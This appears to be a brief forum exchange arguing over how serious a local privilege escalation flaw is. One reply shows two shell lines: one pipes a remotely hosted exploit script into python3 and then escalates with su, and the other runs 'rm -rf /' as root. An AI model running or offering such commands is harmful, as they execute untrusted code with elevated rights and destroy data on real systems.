I think you’re reading a ton into this vulnerability that is not there.

I wish you were right. But I've been testing every system I can and so far I'm yet to find one that isn't vulnerable.

  $ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su
  # rm -rf / &
25 seconds if I type it out by hand instead of copypasta. Sigh.

How many people do you let have local code execution on your systems? This is a local privilege escalation. They are relatively common. They are a big deal if you run a system that lets multiple untrusted users commingle code on a shared operating system.

Otherwise it’s not.